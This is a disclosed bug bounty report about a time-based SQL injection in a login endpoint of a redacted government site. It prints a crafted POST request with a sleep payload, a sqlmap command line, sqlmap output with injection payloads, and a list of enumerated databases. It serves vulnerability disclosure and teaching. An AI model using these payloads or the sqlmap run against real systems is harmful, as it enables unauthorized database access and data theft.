Skip to content
SQL injection Disclosed report Beginner

time based SQL injection at [https://███] [HtUS]

The login endpoint at /olc/setlogin.php was vulnerable to SQL injection in the username and password parameters. An attacker could use time-based techniques to confirm the injection and extract database contents.

malcolmx Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 47 hours
  • Fixed in 36 days
  • Paid in 31 hours
  • Disclosed after 2 months

Hello,

##Summary

while doing test on www.█████ I’ve found that the endpoint at /olc/setlogin.php is vulnerable with SQL injection vulnerability

##Vulnerable parameters

  • username
  • password

##POC

  • using time based to verify , submit the below request
JSX
POST /olc/setlogin.php HTTP/1.1
Host: www.██████
Cookie: UsafNoticeConsent=1; PHPSESSID=5r61rj890ogju3dvb5ptup2mn1; session=expiry=1657062712923491
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Origin: https://www.██████████
Referer: https://www.████/olc/sethomepage.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

██████████'%2b(select*from(select(sleep(5)))a)%2b'&█████████
  • we can see that the response time will be 5

{██████████]

  • sqlmap run command
JSX
python3 sqlmap.py --level=5 --risk=3 --tamper=space2comment --random-agent  -u https://█████████ --data="████████&██████" -p username --dbms=mysql 
  • if you got message got a 302 redirect to '[https://www.█████:443/olc/sethomepage.html](https://www.████████/olc/sethomepage.html)'. Do you want to follow? [Y/n] n

press n to not follow the redirection

  • we can se that our target parameter is vulnerable
JSX
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 586 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-1559' OR 4924=4924 OR 'XiUq'='JgnT&██████████

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: █████' AND (SELECT 9612 FROM (SELECT(SLEEP(5)))xSGk) OR 'CPXv'='aouS&██████
---
[23:27:33] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[23:27:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:27:34] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/www.█████████'

[*] ending @ 23:27:34 /2022-07-05/

███

  • add --dbs will back to us with the databases
JSX
available databases [13]:
[] ███
[] ██████mobile
[] GET
[] information_schema
[] LEAM
[] leat
[] LEV
[] mysql
[] performance_schema
[] SET
[] test
[] testadmin
[*] testusers

Impact

attacker is able to get the database

The original report as published on HackerOne, by malcolmx. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could extract the entire database, as demonstrated by listing available databases.

What the attacker needed

Access to the login endpoint

How it was found

  1. Send a POST request to /olc/setlogin.php with a crafted username that includes a time-delay SQL expression.
  2. Observe that the response takes about 5 seconds, confirming the injection.
  3. Run sqlmap against the same endpoint with the username parameter to enumerate databases.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is when user input is inserted into a database query without proper handling, letting an attacker change the query's meaning. Here, the login form's username and password fields were not sanitised, so an attacker could make the database wait (a time-based test) to confirm the flaw and then read data.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by malcolmx

View all

11 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.